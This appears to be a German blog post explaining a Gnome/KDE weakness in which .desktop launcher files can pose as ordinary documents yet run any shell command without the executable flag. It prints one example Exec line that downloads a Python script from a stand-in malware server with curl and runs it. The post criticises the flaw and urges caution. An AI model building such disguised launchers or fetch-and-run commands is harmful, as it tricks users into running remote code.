Foobar beschreibt in seinem Blog eine Sicherheitslücke, die sowohl Gnome- als auch KDE-Desktops betrifft. Das Problem besteht in den so genannten »launchers« (Starter), die dazu dienen, Verknüpfungen zu Programmen auf dem Desktop bzw. im Panel abzulegen. Es handelt sich dabei um einfache Textdateien mit folgendem Aufbau (hier auf das Wesentliche gekürzt):

[Desktop Entry]
Icon=ooo-writer
Type=Application
Exec=ooffice -writer
Name=OpenOffice.org Writer

Wird diese Datei z.B. unter dem Namen ooo-writer.desktop auf dem Desktop abgelegt, wird sie mit dem Writer-Icon und dem Text »OpenOffice.org Writer« angezeigt und startet ooffice -writer bei einem Doppelklick. So weit so gut.

Das Problem besteht darin, dass erstens die Anweisung hinter Exec= beliebigen Shellcode enthalten kann und zweitens das x-Flag (executable) nicht gesetzt sein muss, damit dieser Code zur Ausführung gebracht wird. Hinzu kommt, dass auch das Icon und der angezeigte Text beliebig manipulierbar sind und dass der Anwender keinerlei Hinweis bekommt was passiert, wenn er einen Doppelklick auf diesem Icon ausführt – außer er öffnet den Dialog »Eigenschaften«. Im Klartext heißt das, dass ein solcher Launcher ein Writer-Symbol und den Text »harmloses_Dokument.odt« anzeigen, bei einem Doppelklick aber eine Zeile wie diese ausführen kann:

bash -c "curl http://www.some_malware_server.org/s.py -o /tmp/s.py; python /tmp/s.py"

Die Möglichkeiten sollten klar sein.

Sowohl auf Foobars Blogartikel als auch bei Slashdot gab es viele Reaktionen. Leider hat sich ein Großteil der anschließenden Diskussionen damit auseinandergesetzt, dass der verwendete Begriff »Virus« nicht korrekt sei (dem ich auch zustimmen würde) und dass man Anwender grundsätzlich nicht vor sich selber schützen kann. Das zentrale Problem wurde aber meines Erachtens nur unzureichend behandelt. Natürlich kann (und sollte) ein Betriebssystem (bzw. in diesem Fall eine Desktopumgebung) nicht versuchen, dem Anwender das Denken abzunehmen und wenn der User kundtut »ich möchte, dass $CODE ausgeführt wird«, dann sollte eben auch genau das passieren. Aber: eine graphische Oberfläche, die es ermöglicht, einen potenziell schädlichen Code aus beliebiger Quelle optisch als gewöhnliche Datei erscheinen zu lassen, ist in meinen Augen schlicht und ergreifend kaputt.

Das Problem ist nicht neu, sondern im Gegenteil seit 2006 bekannt und ich begreife nicht, warum die Gnome- und KDE-Entwickler nicht darauf reagieren. Was spricht dagegen, den im Launcher angegebenen Befehl nur dann auszuführen, wenn das x-Flag gesetzt ist?

Einen Schutz (etwa das Deaktivieren dieser Funktionalität) scheint es nicht zu geben, sondern es bleibt einem nur übrig, einen anderen Desktop zu verwenden oder vor dem Öffnen einer vermeintlichen Office-Datei, die man per Mail erhalten hat, dreimal hinzusehen.

(via How to write a Linux virus in 5 easy steps)